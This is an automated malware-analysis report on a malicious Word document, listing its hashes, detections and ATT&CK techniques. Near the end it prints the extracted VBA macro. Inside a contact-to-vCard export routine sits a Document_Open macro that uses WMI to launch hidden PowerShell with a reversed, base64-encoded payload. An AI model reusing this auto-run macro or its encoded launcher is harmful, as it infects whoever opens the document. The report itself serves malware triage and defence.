Office (OLE) malware analysis — malicious · 0017a553f0ed5e80

MALICIOUS

Office (OLE)

103.5 KB Created: 2020-03-03 17:09:00 Authoring application: Microsoft Office Word First seen: 2020-05-25

MD5: 0047188058432c4fc73905835508348f SHA-1: cf29daa7f8cf40fd6a546fe9e32b56629abc5ed7 SHA-256: 0017a553f0ed5e80b5daa3bd71895095a2fdd29cadbbafb872d55c256e1a43bc

272 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1218 Signed Binary Proxy Execution

The sample contains VBA macros that leverage `GetObject` and `CreateObject` to interact with WMI's `Win32_Process` to launch arbitrary code. This is a common technique for executing downloaded payloads. The `Document_Open` macro firing indicates automatic execution upon opening the document. While the specific payload is not directly visible, the WMI process creation strongly suggests a downloader or initial execution stage.

Heuristics 9

ClamAV: Doc.Malware.Generickdz-7608151-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Generickdz-7608151-0
VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE

VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
Matched line in script
```
Set FSO = CreateObject("scripting.filesystemobject")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set FSO = CreateObject("scripting.filesystemobject")
```
GetObject call high OLE_VBA_GETOBJ

GetObject call
Matched line in script
```
Call GetObject("winmgmts:root\cimv2:Win32_Process"). _
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Sub Document_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6338 bytes
SHA-256: `66348b37c8556106acc04f1516dabecfbca0fc0dbd9cd6247f0d5f10b8babf3f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub ExportVCFForEMUI() '''???EMUI??vcf?? '''???? Dim FSO Dim ADSM, ADSM2 Dim FilePath, FileName Dim TheTable, CtrlLogo As String Dim LastContactCell As Range Dim RelationType Set FSO = CreateObject("scripting.filesystemobject") Set ADSM = CreateObject("ADODB.Stream") Set ADSM2 = CreateObject("ADODB.Stream") FilePath = Range("????!C2") FileName = Year(Now()) & Month(Now()) & Day(Now()) & Hour(Now()) & Minute(Now()) & Second(Now()) TheTable = "??????" ADSM.Type = 2 ADSM.Charset = "UTF-8" ADSM.Open Dim i, j For i = 1 To Sheets.Item(TheTable).UsedRange.Rows.Count '??sheet??,?????????row??????? CtrlLogo = Sheets.Item(TheTable).Cells(i, 2) Select Case CtrlLogo Case Range("????!C1") ADSM.writetext "BEGIN:VCARD", 1 ADSM.writetext "VERSION:3.0", 1 If Range(TheTable & "!" & "C" & i) <> "" Or Range(TheTable & "!" & "D" & i) <> "" Then ' ?????????? ADSM.writetext "FN:" & Range(TheTable & "!" & "C" & i) & Range(TheTable & "!" & "D" & i), 1 '??FN???????? ADSM.writetext "N:" & Range(TheTable & "!" & "C" & i) & ";" & Range(TheTable & "!" & "D" & i), 1 '????N?? If Range(TheTable & "!" & "J" & i) <> "" Then ADSM.writetext "TEL;TYPE=CELL:" & Range(TheTable & "!" & "J" & i), 1 '?????? If Range(TheTable & "!" & "M" & i) <> "" Then ADSM.writetext "TEL;TYPE=WORK:" & Range(TheTable & "!" & "M" & i), 1 '??????,???????? If Range(TheTable & "!" & "L" & i) <> "" Then ADSM.writetext "TEL;TYPE=HOME:" & Range(TheTable & "!" & "L" & i), 1 '?????? If Range(TheTable & "!" & "O" & i) <> "" Then ADSM.writetext "EMAIL;TYPE=WORK:" & Range(TheTable & "!" & "O" & i), 1 '?????? If Range(TheTable & "!" & "N" & i) <> "" Then ADSM.writetext "EMAIL;TYPE=HOME:" & Range(TheTable & "!" & "N" & i), 1 '?????? If Range(TheTable & "!" & "G" & i) <> "" Then ADSM.writetext "ORG:" & Range(TheTable & "!" & "G" & i) & Range(TheTable & "!" & "H" & i), 1 '????,??????? If Range(TheTable & "!" & "I" & i) <> "" Then ADSM.writetext "TITLE:" & Range(TheTable & "!" & "I" & i), 1 '????,?????I If Range(TheTable & "!" & "P" & i) <> "" Then ADSM.writetext "ADR;TYPE=HOME:;;" & Range(TheTable & "!" & "P" & i) & ";;;;", 1 '???????,?P? If Range(TheTable & "!" & "Q" & i) <> "" Then ADSM.writetext "ADR;TYPE=WORK:;;" & Range(TheTable & "!" & "Q" & i) & ";;;;", 1 '???????,?Q? If Range(TheTable & "!" & "R" & i) <> "" Then ADSM.writetext "BDAY:" & Format(Range(TheTable & "!" & "R" & i), "yyyy-m-d"), 1 '????,?R? If Range(TheTable & "!" & "S" & i) <> "" Then ADSM.writetext "URL:" & Range(TheTable & "!" & "S" & i), 1 '????,??S?,????Mailto:??? If Range(TheTable & "!" & "K" & i) <> "" Then ADSM.writetext "X-QQ:" & Range(TheTable & "!" & "K" & i), 1 '??QQ,???????QQ?? If Range(TheTable & "!" & "T" & i) <> "" Then ADSM.writetext "X-ANDROID-CUSTOM:vnd.android.cursor.item/contact_event;" & Range("????!" & "T" & i) & ";1;(1????????????);;;;;;;;;;;;", 1 '???????,??????T? If Range(TheTable & "!" & "U" & i) <> "" Then ADSM.writetext "X-ANDROID-CUSTOM:vnd.android.cursor.item/contact_event;" & Range("????!" & "U" & i) & ";3;(1????????????);;;;;;;;;;;;", 1 '???????,??????U? If Range(TheTable & "!" & "V" & i) <> "" Then ADSM.writetext "X-ANDROID-CUSTOM:vnd.android.cursor.item/contact_event;" & Range("????!" & "V" & i) & ";0;(1????????????);;;;;;;;;;;;", 1 '???????,??????V? For j = 1 To Sheets.Item("???").UsedRange.Rows.Count Select Case Range("???!C" & j).Value Case "??", "??" RelationType = 1 Case "??" RelationType = 2 Case "??", "??", "??" RelationType = 3 Case "??", "??", "??" RelationType = 4 Case "??", "??" RelationType = 5 Case "??", "??" RelationType = 6 Case "??", "??", "??" RelationType = 7 Case "??", "??" RelationType = 8 Case "??" RelationType = 9 Case "????", "???", "??" RelationType = 10 Case "???" RelationType = 11 Case "??" RelationType = 12 Case "??", "??", "??" RelationType = 13 Case "??", "??", "??", "??", "??" RelationType = 14 Case Else RelationType = 0 End Select If Range("???!A" & j) = Range(TheTable & "!" & "A" & i).Value Then ADSM.writetext "X-ANDROID-CUSTOM:vnd.android.cursor.item/relation;" & Range("???!D" & j) & ";" & RelationType & ";" & Range("???!C" & j) & ";;;;;;;;;;;;", 1 '??????????????? Next ' Set LastContactCell = Range("???!A1") '????????range.find?????????????,?????for??????????????????????,??????for? ' Set FirstContactCell = Nothing ' Do ' Set LastContactCell = Range("???!A:A").Find(Range(TheTable & "!" & "A" & i).Value, LastContactCell, xlValues, xlWhole, xlByRows, xlNext) ' If FirstContactCell Is Nothing Then Set FirstContactCell = LastContactCell ' If Not LastContactCell Is Nothing Then Debug.Print LastContactCell.Address ' Loop Until FirstContactCell Is Range("???!A:A").FindNext(LastContactCell) End If ADSM.writetext "END:VCARD", 1 Range(TheTable & "!" & "B" & i) = "" '??????m End Select Next ADSM.Position = 3 ADSM2.Type = 1 ADSM2.Open ADSM.copyto ADSM2 ADSM2.savetofile FilePath & FileName & ".vcf", 2 '?adsm2????? Debug.Print ("ok") End Sub Sub Document_Open() Call GetObject("winmgmts:root\cimv2:Win32_Process"). _ Create(StrReverse("=AAcAwGAhBwbAQHAgAAdAMHApBATAQHAuBQZA0GA1BwZAIHABBQLAACAtBwbAMGAuAwbAQGApBgdAACAzBwcAUGAjBwbAIHAQBQLAQHAyBQYAQHATBAIAACA7AAcAwGAhBwbAQHAgAQYAIHAlBgZAMHAgAQZAQGAvBwYAUGAkBQLAACAsBQaAQHA1BAdAIHAlBwYAACA7AgIAAFANBQRAQFA6AgdA4GAlBAJAICAgAAaAQHAhBAUA0CAgAgbA8GApBAdAEGAjBwbAwEAtAAdAUGATBAIAsDAiAQbA8GAjBgLAAFAtBQeAoGAGBAXAAFANBQRAQFA6AgdA4GAlBAJAICAsAgIAEGAyBQZAYGAzBAXAAFANBQRAQFA6AgdA4GAlBAJAICAsAgIA0GAvBwYA4CAvBAZAkGA2BAXAAFANBQRAQFA6AgdA4GAlBAJAICAgAgbA8GApBAdAEGAuBQaAQHAzBQZAQEAtAAIAQHAhBAZA4CAQBQbAkHAqBgRA8CAlBAdAkGAzBgLAEDAwBgcA8GAjBwLA8CA6AAcAQHA0BAaAwCA0BQYAQGAuAQZAEEAmBQZAQFAvAQZAQHApBwcA4CAxAAcAIHAvBwYA8CAvAgOAAHA0BAdAgGAsAAdAEGAkBgLAUGAQBAdAkGALBwLAUGA0BQaAMHAuAQMAAHAyBwbAMGAvAwLAoDAwBAdAQHAoBAIAUGAjBgcAUHAvBwUA0CAgAgcAUGAmBwcA4GAhBgcAQFAzBAdAkGACBQLAQHAyBQYAQHATBAIAsDAyBQZAYGAzBgbAEGAyBAVAMHA0BQaAIEAgAQZAwGA1BAZA8GANBQLAQHAyBwbAAHAtBQS ocne- neddih elytswodniw- llehsrewop"), Null, Null, jsakI) End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.